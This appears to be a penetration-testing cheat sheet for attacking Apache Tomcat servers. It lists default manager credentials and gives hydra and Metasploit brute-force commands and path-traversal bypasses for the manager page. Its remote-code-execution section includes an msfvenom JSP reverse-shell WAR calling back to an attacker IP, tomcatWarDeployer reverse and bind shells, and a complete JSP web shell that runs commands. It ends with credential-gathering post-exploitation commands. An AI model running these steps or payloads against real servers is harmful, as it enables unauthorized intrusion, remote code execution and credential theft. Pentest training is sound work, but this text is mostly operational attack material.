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Tomcat

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Discovery

  • It usually runs on port 8080
  • Common Tomcat error:

Enumeration

Version

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"

Locate manager files

It's interesting to find where are the pages /manager and /host-manager as they might have a different name. You can search them with a brute-force.

Username Enum

In some versions prior to Tomcat6 you could enumerate users:
msf> use auxiliary/scanner/http/tomcat_enum

Default credentials

The most interesting path of Tomcat is /manager/html, inside that path you can upload and deploy war files (execute code). But this path is protected by basic HTTP auth, the most common credentials are:
  • admin:admin
  • tomcat:tomcat
  • admin:<NOTHING>
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat
You could test these and more using:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Another interesting Tomcat path is /manager/status, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access /manager/html.

Bruteforce

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>

Vulns

Password backtrace disclosure

Try to access /auth.jsp and if you are very lucky it might disclose the password in a backtrace.

Double URL encode

A well-known vulnerability to access the application manager __ is mod_jk in CVE-2007-1860, that allows Double URL encode path traversal.
In order to access to the management web of the Tomcat go to: pathTomcat/%252E%252E/manager/html
Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token. To access to backdoor you might also need to use the double urlencode trick.

/examples

The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from here).
  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Path Traversal (..;/)

In some vulnerable configurations of Tomcat you can gain access to protected directories in Tomcat using the path: /..;/
So, for example, you might be able to access the Tomcat manager page by accessing: www.vulnerable.com/lalala/..;/manager/html
Another way to bypass protected paths using this trick is to access http://www.vulnerable.com/;param=value/manager/html

RCE

Finally, if you have access to the Tomcat Web Application Manager, you can upload and deploy a .war file (execute code).

Limitations

You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script). Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions) (see POST section).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:[email protected]:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
Then, upload the revshell.war file and access to it (/revshell/)

Bind and reverse shell with tomcatWarDeployer.py

In some scenarios this doesn't work (for example old versions of sun)

Download

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Reverse shell

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Using Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Manual method - Web shell

Create index.jsp with this content:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
You could also install this (allows upload, download and command execution): http://vonloesch.de/filebrowser.html

Manual Method 2

Get a JSP web shell such as this and create a WAR file:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Name of Tomcat credentials file is tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
Other ways to gather Tomcat credentials:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Other tomcat scanning tools

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